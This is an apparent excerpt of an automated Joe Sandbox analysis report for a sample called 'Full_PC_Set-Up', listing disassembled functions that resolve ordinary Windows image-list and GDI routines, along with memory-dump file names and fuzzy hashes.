Instruction Fuzzy Hash: 0FE0D8732013287B8631AB62DC88C3BBB9CDEC4760706882AFD5553610C531FC10C5F4

Function 002D4620 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,002D46FC,5EBD7D5F,?,?,5EBD7D5F,?,?,?,?,5EBD7D5F,?,75296C50,?,?), ref: 002D4636
LoadLibraryW.KERNEL32(?,?,002D46FC,5EBD7D5F,?,?,5EBD7D5F,?,?,?,?,5EBD7D5F,?,75296C50,?,?), ref: 002D4647
GetProcAddress.KERNEL32(00000000,ImageList_GetImageInfo), ref: 002D4661

Strings

ImageList_GetImageInfo, xrefs: 002D465B

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID: ImageList_GetImageInfo
API String ID: 310444273-158344479
Opcode ID: 1c97ecd89013f600e7a925d178f68d8afe9cabfe5b414461edf286edacfb2a89
Instruction ID: b901d91139856c059d1efc2fedb3c3d1db31a6ca62888f86a06ad8b128bb66f5
Opcode Fuzzy Hash: 1c97ecd89013f600e7a925d178f68d8afe9cabfe5b414461edf286edacfb2a89
Instruction Fuzzy Hash: F1F0F475912B42CFD7209F74C848B46BBE8AF15724F00C82EA4AAC3610D774E850CF20

Function 003A4AB0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,003A4B8C,5EBD7D5F,?,?,5EBD7D5F,?,?,00000000,?,5EBD7D5F,?,75296C50,?,?), ref: 003A4AC3
LoadLibraryW.KERNEL32(?,?,003A4B8C,5EBD7D5F,?,?,5EBD7D5F,?,?,00000000,?,5EBD7D5F,?,75296C50,?,?), ref: 003A4AD4
GetProcAddress.KERNEL32(00000000,ImageList_GetIcon), ref: 003A4AEE

Strings

ImageList_GetIcon, xrefs: 003A4AE8

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID: ImageList_GetIcon
API String ID: 310444273-3623868649
Opcode ID: 0e153c45bbb8f5a38f08a226470121fdb6b08839f353f6556e02f5bb1542c420
Instruction ID: 43ef4b1d354161734cb913f09263be04d7225353263e787739c477db7f90967c
Opcode Fuzzy Hash: 0e153c45bbb8f5a38f08a226470121fdb6b08839f353f6556e02f5bb1542c420
Instruction Fuzzy Hash: D1F0FE75902B11DFC721CF64D948A07BBE8EF59725B01C82EE496C3650D7B4F854CB15

Function 003A8E20 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,003A8EFC,5EBD7D5F,?,?,5EBD7D5F,?,?,?,?,5EBD7D5F,?,75296C50,?,?), ref: 003A8E33
LoadLibraryW.KERNEL32(?,?,003A8EFC,5EBD7D5F,?,?,5EBD7D5F,?,?,?,?,5EBD7D5F,?,75296C50,?,?), ref: 003A8E44
GetProcAddress.KERNEL32(00000000,ImageList_GetImageCount), ref: 003A8E5E

Strings

ImageList_GetImageCount, xrefs: 003A8E58

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID: ImageList_GetImageCount
API String ID: 310444273-4246500564
Opcode ID: f28f1521f889b1278d886c390a2476965a2a7882a073829379b89cde8f3180db
Instruction ID: b1c8dc9ddc23535b7f30ede94d2858fa9a1430c603eab1b9c8a5e33bb86f2f3b
Opcode Fuzzy Hash: f28f1521f889b1278d886c390a2476965a2a7882a073829379b89cde8f3180db
Instruction Fuzzy Hash: ABF0D475602B01DFD721CF68C848A07BBE8FF19725B01C92EE49AC3A50EB74E850CB15

Function 002CEF50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,002CF02C,5EBD7D5F,?,?,5EBD7D5F,?,?,?,00000000,?), ref: 002CEF63
LoadLibraryW.KERNEL32(00000000,?,002CF02C,5EBD7D5F,?,?,5EBD7D5F,?,?,?,00000000,?), ref: 002CEF74
GetProcAddress.KERNEL32(00000000,ImageList_Draw), ref: 002CEF8E

Strings

ImageList_Draw, xrefs: 002CEF88

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID: ImageList_Draw
API String ID: 310444273-2074868843
Opcode ID: a1d5367b09f3f60cbc2b740745f6a50acf45be26f51c781a59749265168f289d
Instruction ID: 4087fdd08a591e70219e359d5344e943eec8417c2836540b313a6ecd480b6497
Opcode Fuzzy Hash: a1d5367b09f3f60cbc2b740745f6a50acf45be26f51c781a59749265168f289d
Instruction Fuzzy Hash: 94F0B275502B029FCB60CF68D948A46BBE8BF18725B01C82EE49AC3A50DBB4F850CB11

Function 002D47C0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,002D4889,?,00000000,5EBD7D5F,?,00000000,?,000000FE,00000000,002D4242,?,00000000), ref: 002D47D0
LoadLibraryW.KERNEL32(?,?,000000FE,00000000,002D4242,?,00000000,?,?,?,002D4112,?), ref: 002D47E1
GetProcAddress.KERNEL32(00000000,ImageList_SetBkColor), ref: 002D47FB

Strings

ImageList_SetBkColor, xrefs: 002D47F5

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID: ImageList_SetBkColor
API String ID: 310444273-1554945321
Opcode ID: d9d88ff12f9b2ba02bf8f5c74ca1cc4d5b9609630af68c02e133c0e6da4afe3b
Instruction ID: 7288fae5e0acb0182f3b74faf98eab16f30f2634f8a14b152631b01757ff97b7
Opcode Fuzzy Hash: d9d88ff12f9b2ba02bf8f5c74ca1cc4d5b9609630af68c02e133c0e6da4afe3b
Instruction Fuzzy Hash: 3DF0F274612B42CFD760DF68D948A02BBE8BF18715B00892EE49AC3B50D774F850CB00

Function 002D4910 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,002D49D9,?,00000000,5EBD7D5F,?,00000000,?,000000FE,?,002D421E,?,00000000), ref: 002D4920
LoadLibraryW.KERNEL32(?,?,000000FE,?,002D421E,?,00000000,?,?,?,002D4112), ref: 002D4931
GetProcAddress.KERNEL32(00000000,ImageList_GetBkColor), ref: 002D494B

Strings

ImageList_GetBkColor, xrefs: 002D4945

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID: ImageList_GetBkColor
API String ID: 310444273-1928049851
Opcode ID: 1197b1cdbfc816673c04a022d288a5d80d49845254713232bb67019deb9e1a98
Instruction ID: dc5387e69af8ce3f2603a1e11b2a36866b807c73323c5433480cdb88d0ef0d50
Opcode Fuzzy Hash: 1197b1cdbfc816673c04a022d288a5d80d49845254713232bb67019deb9e1a98
Instruction Fuzzy Hash: 3CF0F874602B02CFC7609FA9DA48B43BBE8BF14725B40982EE49AC3B10D774F854CB04

Function 003A40E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(GDI32.DLL,003A71BC,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 003A40EF
GetProcAddress.KERNEL32(00000000,SetLayout), ref: 003A40FF

Strings

GDI32.DLL, xrefs: 003A40EA
SetLayout, xrefs: 003A40F9

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GDI32.DLL$SetLayout
API String ID: 1646373207-2147214759
Opcode ID: 28a3d440246585855ca43241faef51f17d401421fa51c5c647affea4bb2cfeeb
Instruction ID: aa345d9cf8c4d52b9a194435cc7ec2df5e7f4bff54bff8be8fbb909482c1fb76
Opcode Fuzzy Hash: 28a3d440246585855ca43241faef51f17d401421fa51c5c647affea4bb2cfeeb
Instruction Fuzzy Hash: 4FE0DF702023016BC700CFB1DC9AAAA37A9EBE0721F10060AF844D31A0CBF4D841A729

Function 003A4090 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(GDI32.DLL,003A4961,?,003A4E6C,5EBD7D5F), ref: 003A409F
GetProcAddress.KERNEL32(00000000,GetLayout), ref: 003A40AF

Strings

GetLayout, xrefs: 003A40A9
GDI32.DLL, xrefs: 003A409A

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GDI32.DLL$GetLayout
API String ID: 1646373207-2396518106
Opcode ID: c4fff8f736c6f703af4c7364b5ce8bd4ce569c5c8df72f5b47a775b469fbd5ce
Instruction ID: 5417619beb9f7a830633907fb9c2e641be11119592ac47b379713355e9db3047
Opcode Fuzzy Hash: c4fff8f736c6f703af4c7364b5ce8bd4ce569c5c8df72f5b47a775b469fbd5ce
Instruction Fuzzy Hash: 07E08CB03026019AD720DFB1EC1972676D8ABA03A6F180759FA11D20E0DFF4C805BB2E

Function 003ACFE0 Relevance: 6.3, APIs: 4, Instructions: 279COMMON

Download Yara Rule

APIs

GetObjectW.GDI32(?,00000018,?), ref: 003AD03C

Part of subcall function 0036ED95: __EH_prolog3_catch_GS.LIBCMT ref: 0036ED9F

GetObjectW.GDI32(?,00000018,?), ref: 003AD06F
GetObjectW.GDI32(?,00000018,?), ref: 003AD145
DeleteObject.GDI32 ref: 003AD258

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Object$DeleteH_prolog3_catch_
String ID:
API String ID: 994374856-0
Opcode ID: d6641c7cc2730af27ac4d0dabf07cea539837b3cc45f6b8213cf17b2c40ddba5
Instruction ID: 962cffec9ce0bc03d5ce2e9f993c169bb03fcaaa98a26124007b9c86d90bbc36
Opcode Fuzzy Hash: d6641c7cc2730af27ac4d0dabf07cea539837b3cc45f6b8213cf17b2c40ddba5
Instruction Fuzzy Hash: BCA18BB56087419FD725DF24C880B6BB7E9FBC9314F108A1DF9A687690DB30E805CB92

Function 003CF990 Relevance: 6.3, APIs: 4, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc1b93ff137069b7643e1bfdc43c331b2901ab655a23b8b9d390278c7bc0e7d1
Instruction ID: b14b208829efb6b8fd20003b29d5894a8ca974e3d5ee758d3773814a66f623f5
Opcode Fuzzy Hash: bc1b93ff137069b7643e1bfdc43c331b2901ab655a23b8b9d390278c7bc0e7d1
Instruction Fuzzy Hash: 22A18D752043059FD322EB24C996F6BB7E6BF84714F118A2EE985872C1DB70EC04CB92

Function 002AA600 Relevance: 6.2, APIs: 4, Instructions: 209COMMON

Download Yara Rule

APIs

Part of subcall function 0036BFC6: __EH_prolog3.LIBCMT ref: 0036BFCD
Part of subcall function 0036BFC6: BeginPaint.USER32(?,?,00000004,002979AC,?,5EBD7D5F), ref: 0036BFF9

Part of subcall function 003A42E0: IsWindow.USER32(?), ref: 003A42F4
Part of subcall function 003A42E0: GetClientRect.USER32(?,?), ref: 003A4304

Part of subcall function 0036F134: SetBkColor.GDI32(?,?), ref: 0036F158
Part of subcall function 0036F134: ExtTextOutW.GDI32(?,00000000,00000000,00000002,?,00000000,00000000,00000000), ref: 0036F16B

GetWindowRect.USER32(?,?), ref: 002AA67E

Part of subcall function 0036BB6F: ScreenToClient.USER32(?,?), ref: 0036BB80
Part of subcall function 0036BB6F: ScreenToClient.USER32(?,?), ref: 0036BB8D

Part of subcall function 0036C2CB: __EH_prolog3.LIBCMT ref: 0036C2D2
Part of subcall function 0036C2CB: CreatePen.GDI32(?,?,?), ref: 0036C2F3

Part of subcall function 0036C21D: SelectObject.GDI32(?,00000000), ref: 0036C243
Part of subcall function 0036C21D: SelectObject.GDI32(?,?), ref: 0036C259

Part of subcall function 0036BB30: MoveToEx.GDI32(?,?,5EBD7D5F,?), ref: 0036BB51
Part of subcall function 0036BB30: MoveToEx.GDI32(?,?,5EBD7D5F,?), ref: 0036BB64

Part of subcall function 0036B7C4: MoveToEx.GDI32(?,?,?,00000000), ref: 0036B7E1
Part of subcall function 0036B7C4: LineTo.GDI32(?,?,?), ref: 0036B7F0

Part of subcall function 0036C1DC: GetStockObject.GDI32(?), ref: 0036C1E9
Part of subcall function 0036C1DC: SelectObject.GDI32(?,00000000), ref: 0036C203
Part of subcall function 0036C1DC: SelectObject.GDI32(?,00000000), ref: 0036C20E

InflateRect.USER32(?,00000001,00000001), ref: 002AA738
Rectangle.GDI32(?,?,?,?,0000001A), ref: 002AA77E
GetWindowRect.USER32(?,00000001), ref: 002AA7C9

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Object$RectSelect$ClientMoveWindow$H_prolog3Screen$BeginColorCreateInflateLinePaintRectangleStockText
String ID:
API String ID: 3313488086-0
Opcode ID: 540c96c133d1afb899e7d42bdb6f613cb0debe54ba99f0c136f1d3825eceefd6
Instruction ID: 92debd797e387e839a0df68b1c56c5a78f7f8953a8786e3403af3692d0af7791
Opcode Fuzzy Hash: 540c96c133d1afb899e7d42bdb6f613cb0debe54ba99f0c136f1d3825eceefd6
Instruction Fuzzy Hash: 418148B11187409FD315DB64C895EABB7E8FFD9300F108A1DF59A872A5DB30A909CF62

Function 003A9770 Relevance: 6.2, APIs: 4, Instructions: 203COMMON

Download Yara Rule

APIs

CreateCompatibleDC.GDI32(00000000), ref: 003A97B2
CreateDIBSection.GDI32(?,?,00000000,00000000,00000000,00000000), ref: 003A9833
_memcpy_s.LIBCMT ref: 003A985B
_memcpy_s.LIBCMT ref: 003A992E

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
